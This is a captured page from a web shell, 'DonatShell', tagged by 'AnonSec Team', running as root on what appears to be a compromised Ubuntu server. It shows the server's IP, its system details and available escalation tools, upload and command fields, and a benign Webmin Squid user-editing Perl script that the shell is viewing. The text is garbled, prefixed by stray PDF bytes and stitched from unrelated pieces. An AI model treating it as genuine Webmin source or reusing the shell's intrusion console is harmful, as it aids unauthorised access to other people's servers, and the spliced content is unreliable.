%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/root/usr/share/webmin/squid/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/root/usr/share/webmin/squid/edit_nuser.cgi
#!/usr/bin/perl
# edit_user.cgi
# A form for adding or editing a squid user

use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
our (%text, %in, %access, $squid_version, %config);
require './squid-lib.pl';
$access{'proxyauth'} || &error($text{'eauth_ecannot'});
&ReadParse();

my %user;
if ($in{'new'}) {
	&ui_print_header(undef, $text{'euser_header'}, "");
	}
else {
	&ui_print_header(undef, $text{'euser_header1'}, "");
	my $conf = &get_config();
	my @users = &list_auth_users(&get_auth_file($conf));
	%user = %{$users[$in{'index'}]};
	}

print &ui_form_start("save_nuser.cgi", "post");
print &ui_hidden("index", $in{'index'});
print &ui_hidden("new", $in{'new'});
print &ui_table_start($text{'euser_pud'}, undef, 2);

# Username
print &ui_table_row($text{'euser_u'},
	&ui_textbox("user", $user{'user'}, 30));

# Password
if (%user) {
	print &ui_table_row($text{'euser_p'},
		&ui_radio("pass_def", 1,
			  [ [ 1, $text{'euser_u1'} ],
		            [ 0, &ui_password("pass", undef, 30) ] ]));
	}
else {
	print &ui_table_row($text{'euser_p'},
		&ui_password("pass", undef, 30));
	}

# Enabled?
print &ui_table_row($text{'euser_e'},
	&ui_yesno_radio("enabled", $user{'enabled'} || !%user));

print &ui_table_end();
if (%user) {
	print &ui_form_end([ [ undef, $text{'save'} ],
			     [ 'delete', $text{'delete'} ] ]);
	}
else {
	print &ui_form_end([ [ undef, $text{'create'} ] ]);
	}

&ui_print_footer("edit_nauth.cgi", $text{'euser_return'},
	"", $text{'index_return'});


Anon7 - 2022
AnonSec Team